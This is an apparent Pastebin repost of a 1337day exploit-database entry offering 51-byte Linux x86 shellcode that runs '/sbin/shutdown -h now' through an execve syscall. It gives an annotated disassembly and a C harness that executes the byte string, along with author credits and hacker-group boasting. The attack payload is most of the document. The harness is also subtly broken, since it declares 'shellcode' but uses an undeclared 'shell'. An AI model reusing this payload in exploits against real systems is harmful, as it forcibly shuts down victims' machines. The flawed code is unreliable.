Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # http://1337day.com/exploits/17513
- # Title : Backbox Linux/x86 shutdown shellcode 51 byte ( lunix )
- # Author : TrOoN
- # E-mail : www.facebook.com/fysl.fyslm
- # Home : city 617 logt Draria algeria
- # Web Site : www.1337day.com
- # Facebook : https://www.facebook.com/fysl.fyslm
- # platform : back box lunix os
- # Type : Shellcode [ assmb]
- # Tested on : bacbox ENG 32 Bit
- # download link : www.backbox.org
- ###
- ~~~~~~~~~~~~ SPICIAL to Ked Ans ~~~~~~~
- // this is assmb
- * 08048060 <_start>:
- * 8048060: 6a 0b push $0xb
- * 8048062: 58 pop %eax
- * 8048063: 99 cltd
- * 8048064: 52 push %edx
- * 8048065: 6a 77 push $0x77
- * 8048067: 66 68 6e 6f pushw $0x6f6e
- * 804806b: 89 e6 mov %esp,%esi
- * 804806d: 52 push %edx
- * 804806e: 66 68 2d 68 pushw $0x682d
- * 8048072: 89 e1 mov %esp,%ecx
- * 8048074: 52 push %edx
- * 8048075: 68 64 6f 77 6e push $0x6e776f64
- * 804807a: 68 73 68 75 74 push $0x74756873
- * 804807f: 68 69 6e 2f 2f push $0x2f2f6e69
- * 8048084: 68 2f 2f 73 62 push $0x62732f2f
- * 8048089: 89 e3 mov %esp,%ebx
- * 804808b: 52 push %edx
- * 804808c: 56 push %esi
- * 804808d: 51 push %ecx
- * 804808e: 53 push %ebx
- * 804808f: 89 e1 mov %esp,%ecx
- * 8048091: cd 80 int $0x80
- *
- */
- // delete this ok !! ///
- main()
- {
- char shellcode[] = "\x6a\x0b\x58\x99\x52\x6a\x77\x66"
- "\x68\x6e\x6f\x89\xe6\x52\x66\x68"
- "\x2d\x68\x89\xe1\x52\x68\x64\x6f"
- "\x77\x6e\x68\x73\x68\x75\x74\x68"
- "\x69\x6e\x2f\x2f\x68\x2f\x2f\x73"
- "\x62\x89\xe3\x52\x56\x51\x53\x89"
- "\xe1\xcd\x80";
- printf("Length: %d\n",strlen(shell));
- (*(void(*)()) shell)();
- }
- /*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/**/**/*//*/*/*/*/*/* Ked Ans - TroOn - all facebook frind*-*-*--*-*-*
- :::::::::::::::::::::::: ALGERIAN HAxoAR ::::::::::::::::::::::::::::::::::::::::::::::
- ~~~~ http://1337day.com/exploits/17513
Advertisement
Add Comment
Please, Sign In to add comment